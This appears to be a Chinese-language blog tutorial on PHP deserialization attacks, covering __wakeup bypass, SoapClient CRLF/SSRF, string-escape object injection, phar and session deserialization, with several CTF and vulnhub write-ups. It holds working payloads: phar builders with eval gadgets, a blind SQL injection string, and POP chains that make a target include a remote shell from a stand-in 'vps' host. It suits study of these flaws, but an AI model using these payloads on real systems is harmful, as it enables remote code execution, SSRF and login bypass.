导图
开头一张图,内容全靠编
序列化与反序列化
在 PHP 中,序列化使用 serialize() 函数将对象转化为可传输的字符串,反序列化则使用 unserialize() 将字符串还原为对象
序列化结果分析
解释一下不同数据类型序列化的结果
```php
<?php
Class test{
public $a = '1';
public $bb = 2;
public $ccc = True;
}
$r = new test();
echo serialize($r);
$array_t = array("a"=>"1", "bb"=>"2", "ccc"=>"3");
echo serialize($array_t);
```
输出结果分别为
php
O:4:"test":3:{s:1:"a";s:1:"1";s:2:"bb";i:2;s:3:"ccc";b:1;}
a:3:{s:1:"a";s:1:"1";s:2:"bb";s:1:"2";s:3:"ccc";s:1:"3";}
对于反序列化的结果,第一个字母 O 代表 Object,a 代表 array,s 代表 string,这里没有列举 string 的例子是因为没有必要。具体解释如图,array 的结果也是类似的,只不过 array 是数据类型直接加元素个数
另外,这里的 4 (第一个,O 后面的那个) 可以换成 +4,可以用来 bypass
不同类型类属性结果
解释一下类中不同类型属性序列化的结果
```php
<?php
Class test{
private $a = "a";
protected $b = "b";
public $c = "c";
}
$r = new test();
echo serialize($r);
echo urlencode(serialize($r));
```
输出结果为
php
O:4:"test":3:{s:7:"testa";s:1:"a";s:4:"*b";s:1:"b";s:1:"c";s:1:"c";}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A7%3A%22%00test%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22c%22%3Bs%3A1%3A%22c%22%3B%7D
把第一个结果进行 urlencode 之后和第二个比较,可以发现不一样的。
PHP 序列化的时候 private 和 protected 变量会引入不可见字符 \00,\00test\00a 为 private,\00*\00 为 protected,注意这两个 \00 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到,甚至导致截断,url 编码后就可以看得很清楚了。
此时,为了更加方便进行反序列化 payload 的传输与显示,我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示。所以一般都会使用 urlencode 或者 base64 encode
关于base64_encode和urlencode处理payload
注意,大写 S 表示字符串,后面再跟 \00 在 php 5.5 之前可以被成功解释,之后不可以。另外,如果输入内内容是 base64 编码之后的结果,那么再进行 base64 解码时,原本的 url 编码不会被识别
```php
<?php
Class test{
public $a = "a";
}
// O%3A4%3A%22test%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A1%3A%22a%22%3B%7D
$s = "TyUzQTQlM0ElMjJ0ZXN0JTIyJTNBMSUzQSU3QnMlM0ExJTNBJTIyYSUyMiUzQnMlM0ExJTNBJTIyYSUyMiUzQiU3RA==";
// 假设 $s 是输入的 payload
var_dump(unserialize(base64_decode($s)));
// 报错
var_dump(unserialize(urldecode(base64_decode($s))));
// 正确输出
```
private 变量赋值
在构造 pop 链时,private 类型变量最好使用 __construct
函数来进行赋值,以免出错
如果只是赋值为字符串的话,可以直接赋值;但是如果是 类的实例化对象 的话,就要用这种方法
```php
class User{
private $name="admin";
private $age;
function __construct(){
$this->age = new Age();
}
function __destruct(){
}
}
```
魔术方法
code
```php
<?php
Class User{
public $name = "Bob";
private $id = "417";
function __construct($name){
$this->name = $name;
echo "this is __construct"."</br>";
}
function __destruct(){
echo "this is __destruct"."</br>";
}
function __invoke(){
echo "this is __invoke"."</br>";
}
function __toString(){
return "this is __toString"."</br>";
}
function __wakeup(){
echo "this is __wakeup"."</br>";
}
function __sleep(){
echo "this is __sleep"."</br>";
return array("name","id");
}
function __call($name, $args){
echo "this is __call. name is ".$name." args is ".$args."</br>";
}
function __get($arg){
echo "call __get"."</br>";
}
function __set($name,$id){
echo "call __set"."</br>";
}
}
$r = new User("Alice");
$r();
echo $r;
unserialize(serialize($r));
$r->print("a");
$r->id;
$r->id = 1;
```
输出顺序如下
php
this is __construct
this is __invoke
this is __toString
this is __sleep
this is __wakeup
this is __destruct
this is __call. name is print args is Array
call __get
call __set
this is __destruct
__sleep() 在 __construct() 执行前执行, __wakeup() 会在 unserialize() 执行前执行,所以 __wakeup() 比 __destruct() 提前执行
__wakeup() bypass
在需要对 __wakeup() 进行绕过的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于 PHP < 5.6.25 和 PHP < 7.0.10
```php
<?php
Class User{
public $name="Bob";
function __destruct(){
echo "name is Bob </br>";
}
function __wakeup(){
echo "exit </br>";
}
}
@var_dump(unserialize($_POST["u"]));
```
POST 参数 O:4:"User":1:{s:4:"name";s:3:"Bob";}
可以看到输出是
```
exit
object(User)[1]
public 'name' => string 'Bob' (length=3)
name is Bob
```
如果在某些情况下,不想让 __wakeup() 执行,可以将 "User" 后的 2 改为一个比 2 大的数字
POST 参数 O:4:"User":2:{s:4:"name";s:3:"Bob";}
```
name is Bob
boolean false
```
SoapClient 反序列化与 CRLF
SoapClient 类 用来提供和使用 webservice
php
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
第一个参数为 WSDL 文件的 URI ,如果是 NULL 意味着不使用 WSDL 模式
第二个参数是一个数组,如果在 WSDL 模式下,这个参数是可选的。如果在 non-WSDL 模式下,必须设置 location 和 uri 参数,location 是要请求的 URL,uri 是要访问的资源
在官方文档中可以看到,它的 user_agent 参数是可以控制 HTTP 头部的 User-Agent 的。而在 HTTP 协议中,header 与 body 是用两个 \r\n
分隔的,浏览器也是通过这两个 \r\n
来区分 header 和 body 的
The user_agent option specifies string to use in User-Agent header.
在一个正常的 SoapClient 请求中,可以看到,SOAPAction 是可控的,尽管 php 报了关于 http 头部的 Fatal error 和 SoapFault,还是监听到了请求
php
<?php
$a = array('location'=>'http://127.0.0.1:20000/', 'uri'=>'user');
$x = new SoapClient(NULL, $a);
$y = serialize($x);
$z = unserialize($y);
$z->no_func();
这样就有两个地方是可控的,User-Agent 和 SOAPAction,明显 Content-Type 和 Content-Length 都在 User-Agent 之下,用 wupco 师傅的 payload 就能进行任意的 POST 请求,这里要先 urldecode 才可以进行反序列化
```php
<?php
$target = 'http://127.0.0.1:20000/';
$post_string = 'asdfghjkl';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: admin=1'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "peri0d"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
$x = unserialize(urldecode($aaa));
$x->no_func();
```
在 index.php 处的代码是捕获 http body 并存储到 txt 中,先监听一下端口得到请求头,然后再用 soap 访问一下 index.php,可以看到成功控制了这个 POST 请求
```http
POST / HTTP/1.1
Host: 122.51.18.106:20000
Connection: Keep-Alive
User-Agent: wupco
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: admin=1
Content-Length: 9
asdfghjkl
Content-Type: text/xml; charset=utf-8
SOAPAction: "user#no_func"
Content-Length: 371
```
[N1CTF 2018] Easy&&Hard Php 就用到了这个知识点,那里先是在 Db 类的 insert 方法中,会把 array(columns) 替换为 `userid`,`username`,`signature`,`mood` ,把 array(values) 替换为 ( '22','user','aa','0' ) 其中会把 ` 替换为 '
```php
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
```
最终的 insert 语句为如下,在 signature 那里就可以触发注入,可以使用 is_admin<>0
判断 admin ,就可以得到用户名和密码,一个语句如下
php
// insert 语句
insert into ctf_user_signature( `userid`,`username`,`signature`,`mood` ) values ( '22','user','aa','0' )
// 注入语句
signature=ss`,if(ascii(substr((select username from (SELECT * FROM ctf_users) as x where is_admin<>0),1,1))=97,SLEEP(3),1))%23
在 user.php 中的 showmess() 中会反序列化 mood 参数,因此可以构造 payload 触发反序列化,再利用上面的 SoapClient 就可以触发 SSRF 绕过登陆限制
ss`, payload)%23
PHP 反序列化字符逃逸
在 php 的反序列化中,有如下几个特点
- 类中不存在的属性也会进行反序列化
- 对于类和数组的反序列化,以
;
作为字段的分隔,以}
作为结尾,若在}
后再加数据将直接被丢弃 - 反序列化按照严格的格式进行
这里举个简单的例子便于理解,更详细的可以阅读这两个帖子 详解PHP反序列化中的字符逃逸 、 php反序列化字符逃逸
对于如下代码,如何做到对象注入?直接 O:4:"Test":2:{s:4:"name";s:3:"Bob";s:8:"password";s:6:"123456";s:6:"object";s:6:"inject";}
就可。
php
<?php
class Test{
public $name = "Bob";
public $password = "123456";
}
function filter($string){
return str_replace('xx','y',$string);
}
$a = $argv[1];
var_dump(unserialize(filter($a)));
下面是逃逸内容
Test 类的一个实例化对象进行序列化之后为 O:4:"Test":2:{s:4:"name";s:3:"Bob";s:8:"password";s:6:"123456";}
如果这个字符串中存在一个 xx
字符串,在经过 filter() 函数操作后,其长度就减少了 1 位,比如 O:4:"Test":2:{s:4:"name";s:5:"Bobxx";s:8:"password";s:6:"123456";}
就变成 O:4:"Test":2:{s:4:"name";s:5:"Boby";s:8:"password";s:6:"123456";}
这样 name 字段就多了一个字符,那就是不是可以考虑继续增加 xx 的数量,直到 name 字段的长度吃掉后面所有的内容,这时,不就可以注入任意内容了吗。
";s:8:"password";s:6:"123456";}
长度为 31,也就需要加 31 个 xx
php
O:4:"Test":2:{s:4:"name";s:65:"Bobxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:8:"password";s:6:"123456";}";s:6:"object";s:6:"inject";}
经过 filter 后就是
php
O:4:"Test":2:{s:4:"name";s:65:"Bobyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:8:"password";s:6:"123456";}";s:6:"object";s:6:"inject";}
最后输出结果就是
php
class Test#1 (3) {
public $name =>
string(65) "Bobyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:8:"password";s:6:"123456";}"
public $password =>
string(6) "123456"
public $object =>
string(6) "inject"
}
Phar 反序列化
phar 就是将多个 php 文件合成为一个 phar 文件,这个类似于 java 中的 jar
phar结构由 4 部分组成
- stub : phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>
- manifest : 压缩文件的属性等信息,以序列化存储;
- contents : 压缩文件的内容;
- signature : 签名,放在文件末尾;
php 在解析 phar 文件的 metadata 时可能会触发反序列化操作,而且 phar 会默认注册 phar:// 协议,在用 phar:// 协议读取文件的时候会自动解析成 phar 对象,同时反序列化其中存储的 metadata 信息
这就意味着如果可以找到一个上传点,上传构造好的 phar,然后再找到一个可以触发 phar 的点,这就构成了一个利用链。偶然看到了 p 神的原话
1、文件操作函数中的 参数可控 。
2、文件有上传点,可上传构造的特殊 phar文件 。
3、有可利用的 POP链 。
生成 phar
执行完毕后会生成一个 test.phar 文件,其中的 metadata 是以序列化的形式出现的。php 函数在对 phar 文件进行解析时,就必伴随着反序列化的操作
xxxxx<?php __HALT_COMPILER(); ?> 为 phar 文件首部,xxxxx 可以任意修改为其他文件的头,这样就可以伪造成其他文件
metadata 序列化内容为 O:11:"TestObeject":1:{s:4:"data";s:6:"aaaaaa";}
```php
<?php
class TestObeject{}
$phar = new Phar('test.phar', 0, 'test.phar');
$phar->startBuffering();
$phar->setStub('xxxxx<?php __HALT_COMPILER(); ?>');
$o = new TestObeject();
$o->data = 'aaaaaa';
$phar->setMetadata($o);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
```
读取 phar 文件
以上面生成的 phar 为例
```php
<?php
class TestObeject{
public function __destruct(){
echo $this->data;
}
}
include('phar://test.phar');
```
输出结果,如果想读取 text.txt 需要这样包含 include('phar://test.phar/text.txt');
aaaaaa
phar 伪造文件类型
```php
<?php
class TestObeject{}
$phar = new Phar('test2.phar', 0, 'test2.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$o = new TestObeject();
$o->data = 'xxx';
$phar->setMetadata($o);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
```
一个案例
代码放在这里了 https://github.com/peri0d/phar_test
主要实现了一个上传功能,在 upload_file.php 使用了白名单的方式。evil.php 代码如下,其中 file_exists 可以触发 phar 反序列化
php
<?php
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
使用下面的代码生成 phar.phar,改名为 phar.gif 再上传,向 evil.php 传参 ?filename=phar://upload_file/phar.gif
即可
```php
<?php
class AnyClass{
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar',0,'phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$o = new AnyClass();
$o->output = 'phpinfo();';
$phar->setMetadata($o);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
```
phar 反序列化触发函数
finfo_file finfo_buffer mime_content_type include php://filter getimagesize getimagesizefromstring
[SUCTF2019] Upload labs 2
这一题的思路就是,上传 phar 文件,在 func.php 中 post 数据 php://filter/resource=phar://...
触发 class.php 中 File 类的 __wakeup(),在 __wakeup() 中触发 Soap Client 反序列化,绕过只能本地访问 admin.php 的限制。再上传包含 admin.php 中 Ad() 类的 phar 文件,向 admin.php 传入参数,进行 MySQL Client Attack 以 phar:// 方式读取这次上传的 phar,进而触发 Ad() 类的 __wakeup(),形成一条完整的攻击链。
[LCTF2018] T4lk 1s ch34p,sh0w m3 the sh31l
在知道上面这些知识之后再看这个题目,就觉得很简单。首先是获取 flag 的条件,出题人已经在 K0rz3n_secret_flag
类的 __destruct() 函数写出来了 include_once($this->file_path);
,即远程文件包含 shell。远程包含 shell 时候是把 shell 写入 txt 而不是 php。
可以远程包含的原因在 upload() 里写了,preg_match('/^(http|https).*/i', $_GET['url'])
这里上传的路径表面上无法获取,实际上在 cookie 中已经给出了 O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Fdata%2Ff528764d624db129b32c21fbca0cb8d6%22%3B%7D-----f56979ade75e2d12c660ea9760664dd9
思路就是想办法触发 K0rz3n_secret_flag() 类的反序列化,这就可以考虑 phar。因为源码中可以触发 phar 反序列化的函数有很多,file_exists、getimagesize、copy...... 但是,可以利用的只有 getimagesize,file_exists 不能控制 path,copy 中不能出现 phar,getimagesize 恰好是不允许以 phar 开头,所以可以用 compress.zlib://phar://
绕过
最终 exp 如下,改名为 avatar.gif 放在 vps 上,然后 ?m=upload&url=http://vps 上传,最后 ?m=check&c=compress.zlib://phar://../data/f528764d624db129b32c21fbca0cb8d6/avatar.gif&a=phpinfo();
```php
<?php
class K0rz3n_secret_flag {
protected $file_path = "http://vps/shell.txt";
}
$phar = new Phar('test.phar', 0, 'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$o = new K0rz3n_secret_flag();
$phar->setMetadata($o);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
```
后来看了一下 github 上的 writeup,说是这题出的有问题,是非预期,怪不得感觉不难。
[护网杯2018] easy_laravel
这一题的大概流程就是 SQL 注入拿到 admin 的 token,admin 的 email 是已知的,然后就可以重置密码( 登陆界面处 ),之后就可以以 admin 登陆。
访问 flag 发现没有 flag,提示是 blade expired,就可以寻找 phar 反序列化链删除 Blade 缓存文件,然后上传 phar 文件,在 check 中触发反序列化。
这题主要说的是 Laravel 有默认的重置密码机制,也是 email + token 的形式;其次是 blade 缓存的问题,它的缓存位置是 storage/framework/views
;最后就是很火的 phar 反序列化
session 反序列化
php 中的 session
session 可以作为文件存储在服务器的某个目录下,也可以存在数据库中。其中,session 文件以 sess_
开头,且只含有 a-z,A-Z,0-9,-
session 的存储路径可以在 php.ini
中的 session.save_path
处配置,也可在脚本中用 session_save_path()
函数控制
php session handler
[HarekazeCTF2019] Easy Notes
详细的 wp 可以看 这个文章 这里只是总结一下,这是一个很典型的 session 伪造
首先 session handler 是 php,然后是 session 存储的位置,它是和 note 导出的压缩包位置相同。然后用 get_user()
获取注册名,$type
获取是 zip 还是 tar,这里就可以伪造 session ,user
为 sess_
type 为 .
经过 str_replace
就变成一个符合 session 名称格式的文件,然后就是向 note 写入 session 反序列化的内容,伪造 admin
[i-SOON CTF2019] easy_serialize_php
这个题目表面上在说 session ,实际上就是 php array unserialize,因为它中间有一个 $serialize_info = filter(serialize($_SESSION));
那这就和 session handler 没多大关系了。
通过 extract() 变量覆盖可以覆盖 session 数组中的 key=>value ,不仅仅可以覆盖,还可以增加
,这就造成多解。这一题的 filter 函数会把 flag, php 等关键词替换为 空 这就很明显的 反序列化注入对象。
覆盖是指,覆盖 user 和 function 对应的 value, 在 user 处插入关键词,进行覆盖,在 function 处进行对象注入,如果只利用 function 进行逃逸的话,是无法控制对象的注入的。
简化一下就是 a:3:{s:4:"user";s:5:"{1}";s:8:"function";s:10:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
在 {1} 处覆盖,使 user 的 value 覆盖掉 function 字段,然后在 {2} 处注入对象,最后就是修改 {2} 的内容,使它满足反序列化的规则
增加是指不修改 user 和 function 对应的 value,直接插入新的 key=>value,新插入的字段在 img 字段之前,所以可以使用这种方法。
这个简化一下就是 a:4:{s:4:"user";s:4:"aaaa";s:8:"function";s:4:"bbbb";s:4:"{1}";s:4:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
同样的 {1} 处覆盖自己的 value,{2} 处注入对象并调整内容。
[高校战“疫”2020] hackme
这里就只说前面的部分,后面的 ssrf 可以看详细的 wp
这里就是典型的不同 session handler 对 session 内容有不同的处理,导致的伪造
在 html 下的 php 文件,除了 profile.php
是 php
的方式,其他都是 php_serialize
的方式,也就是说,从登陆到上传签名都是 php_serialize 而在查看签名时是 php
在 core 下的文件,都是 php 的方式。整体思路就出来了,就是利用这两个不同方式解析的差异去伪造 admin
```php
php 的方式
name|s:2:"pe";sign|s:7:"xianzhi";admin|i:0;
php_serialize 的方式
a:3:{s:4:"name";s:2:"pe";s:4:"sign";s:7:"xianzhi";s:5:"admin";i:0;}
```
假设 session 为
php
a:3:{s:4:"name";s:2:"pe";s:4:"sign|s:10:"xianzhi233";admin|i:1;|N;";s:7:"xianzhi";s:5:"admin";i:1;}
那么以 php 方式解析时的结果为
再看一下 session 文件,发现其内容变为如下内容,自动丢弃不符合规定的内容
php
a:3:{s:4:"name";s:2:"pe";s:4:"sign|s:10:"xianzhi233";admin|i:1;|N;
回到题目,在 lib.php 的 check_session 函数中,返回 admin 的判断条件如下,意思就是在 session 数组中再套一层 admin 字段
php
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}
看一下正常生成的 session,sign 和 name 是可控的,这里就考虑用 sign 字段,因为 name 字段的输入有过滤
a:3:{s:4:"name";s:7:"xianzhi";s:4:"sign";s:6:"gadsaf";s:5:"admin";i:0;}
在 upload 功能处,提交 |N;sign|s:1:"*";admin|a:1:{s:5:"admin";i:1;}
这样 session 就是
a:3:{s:4:"name";s:7:"xianzhi";s:4:"sign";s:44:"|N;sign|s:1:"*";admin|a:1:{s:5:"admin";i:1;}
经过 php 方式解析后就符合条件了
[vulnhub] serial1
这是 vulnhub 上一个关于 php unserialize 的靶机,这里就直接给源码了,很简单,暂未做任何修改。代码测试要开启 allow_url_fopen 和 allow_url_include
靶机地址 : https://www.vulnhub.com/entry/serial-1,349/
源码地址 : https://github.com/peri0d/vulnhub_serial1
index.php 是对 cookie 中的 user 字段进行 base64 decode 加反序列化,这是可控输入。
```php
<?php
include("user.class.php");
if(!isset($_COOKIE['user'])){
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
```
user.class.php 定义两个类 User 和 Welcome
```php
<?php
include("log.class.php");
class Welcome{
public function handler($val){
echo "Hello ". $val . "......";
}
}
class User{
private $name;
private $wel;
function __construct($name){
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct(){
$this->wel->handler($this->name);
}
}
```
log.class.php 定义 Log 类
```php
<?php
class Log{
private $type_log;
function __construct($hnd){
$this->type_log = $hnd;
}
public function handler($val){
include($this->type_log);
echo "LOG: " . $val;
}
}
```
很明显第三个类是给我们利用的,因为前两个文件都没有用到第三个,并且 Welcome 类和 Log 类都有 handler 函数,而在 User 类的析构函数中调用了 wel 实例化对象的 handler 函数。
Log 类的 handler 函数有 include 函数,这样的话攻击链就很明显了,用 User 的析构函数触发 Log 的 handler 函数去包含构造的 shell 文件,修改一下 cookie 即可
```php
<?php
class Log{
private $type_log = "http://vps/shell.txt";
}
class User{
private $name;
private $wel;
function __construct(){
$this->name = "admin";
$this->wel = new Log();
}
}
$a = new User();
echo base64_encode(serialize($a));
```
最后
反序列化要多多关注 __destruct 和 __wakeup 函数
尽量选择简单的函数去构造 pop 链
参考
https://xz.aliyun.com/t/2148#toc-0
https://xz.aliyun.com/t/6057
https://xz.aliyun.com/t/6699#toc-5
https://blog.zsxsoft.com/post/38
https://xz.aliyun.com/t/6911#toc-3
https://lorexxar.cn/2020/01/14/css-mysql-chain/
https://skysec.top/2018/10/13/2018%E6%8A%A4%E7%BD%91%E6%9D%AF-web-writeup/
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论